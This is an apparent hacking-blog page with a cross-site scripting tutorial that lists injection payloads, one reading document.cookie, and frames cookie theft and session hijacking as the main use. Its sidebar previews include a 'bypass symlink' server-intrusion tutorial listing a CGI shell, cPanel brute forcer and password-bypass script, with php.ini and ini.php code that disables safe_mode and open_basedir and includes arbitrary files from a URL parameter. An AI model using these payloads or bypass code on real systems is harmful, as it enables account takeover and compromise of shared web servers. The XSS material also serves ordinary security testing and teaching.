Skip to main content

Cross Site Scripting With Code:-

Here i am posting some usefull information


XSS:
Cross Site Scripting (abbrivated as XSS) is a web application vulnerability that allows attackers to execute external JavaScript and VBScript code on a web application. By taking the advantage of this, attacker can cause a web page to execute a malicious code on any user's browser. Most popular use of this attack is cookie stealing that can cause session hijacking. The malicious code could provide a hacker with full Read/Write access to browser cookies, browser history files, or even permit the download/installation of malware.

How to find XSS in a website?
XSS is performed as a form of user input. If a website does not filter and sanitize user input properly. To test a website, we will take each place in a website that accepts user input (such as search forms, login forms, profile forms etc.) Now enter the following codes one by one and see whether it shows a pop up box saying* 'XSS' or not

XSS Payloads:
1. <script>alert('U r hacked')</script>
2. <script>alert(/U r hacked/)</script>
3. “><script>alert(/U r hacked/)</script>
4. “>><script>alert(/U r hacked/)</script>
5. '></style><script>alert(/U r hacked/)</script>
6. '></script><script>alert(/U r hacked/)</script>
7. <b onmouseover=alert('u r hacked')>click me!</b>
8. <img src=”0” onerror=alert(document.cookie);>
If you are successful in getting a pop-up, you have found a XSS vulnerable website.

Types of XSS:
1. Non-persistent or Reflected XSS:
Non-persistent XSS is a most common type of XSS. In which injection codes are are reflected off the browser. Websites's search form is the example of this. When we search *in a website. Website shows the search results with the query. If we inject a code in place of query, it will execute the query where it has to display the query in the search results page.

2. Persistent or Stored XSS Attacks:
Persistent or Stored attacks are those where the injection code is permanently stored in the website's database. The page that shows the database information will execute the stored code

3. DOM based XSS or type-0 XSS:
DOM based XSS or type-0 XSS is an attack in which attack payload is executed as a result of modifying the DOM of a website. In this the page remains the same but malicious injection is executed by modifying the dom.

Comments

Popular posts from this blog

10 Best Forum Software For Webmasters

10 Best Forum Software For Webmasters Do you want to create your online discussion forum or online community where people can discuss about their favorite topics? In this article, you can see 10 best forum software (scripts for setting up discussion forums) that can be used free of cost. Although some scripts are paid but rest of these forum scripts are free to use.You only need to buy hosting space and domain name for your website and after then you can install any of these forum scripts to start your own discussion forums on the internet. Online discussion forums generate huge page views because thousands of people want to join online discussion forums to ask questions or share knowledge. Some of online marketers join forums to discuss about their products with community members. You don't need to acquire any kind of technical skill to run a professional discussion forums because these days, almost all web hosting providers offer one click script installer which h...

How to Hack WhatsApp using just a GIF

A picture is worth a thousand words, but a GIF is worth a thousand pictures. Today, the short looping clips, GIFs are everywhere—on your social media, on your message boards, on your chats, helping users perfectly express their emotions, making people laugh, and reliving a highlight. But what if an innocent-looking GIF greeting with Good morning, Happy Birthday, or Merry Christmas message hacks your smartphone? Well, not a theoretical idea anymore. WhatsApp has recently patched a critical security vulnerability in its app for Android, which remained unpatched for at least 3 months after being discovered, and if exploited, could have allowed remote hackers to compromise Android devices and potentially steal files and chat messages. WhatsApp Remote Code Execution Vulnerability The vulnerability, tracked as  CVE-2019-11932 , is a double-free memory corruption bug that doesn't actually reside in the WhatsApp code itself, but in an open-source GIF image parsing library that What...

|Bypass Symlink on 2013 Server With Different .htaccess and Methods by Sen Haxor |

Hi, Guys,  Please a wonderfull tutorial provided bt Sem;\  Today I gonna Explain how to bypass Symlink on 2013 Server With Different .htaccess and Methods. So let's Get Started :) Note: This method is not applicable for Godaddy, Bluehost, Hostgator and Hostmonstor Servers. For This First You Need the Following Files : 1 -> Sen Haxor CGI Shell 2 -> sen.zip 3 -> passwd-bypass.php 4 -> Turbo Brute force Cpanel 5 - > Port.py First Before Starting to symlink we need to create php.ini and ini.php to Disable Safe mode and Disabled Functions on the server . Use the Following Code : Make a php.ini with the following code safe_mode=Off And ini.php with <? echo ini_get("safe_mode"); echo ini_get("open_basedir"); include($_GET["file"]); ini_restore("safe_mode"); ini_restore("open_basedir"); echo ini_get("safe_mode"); echo...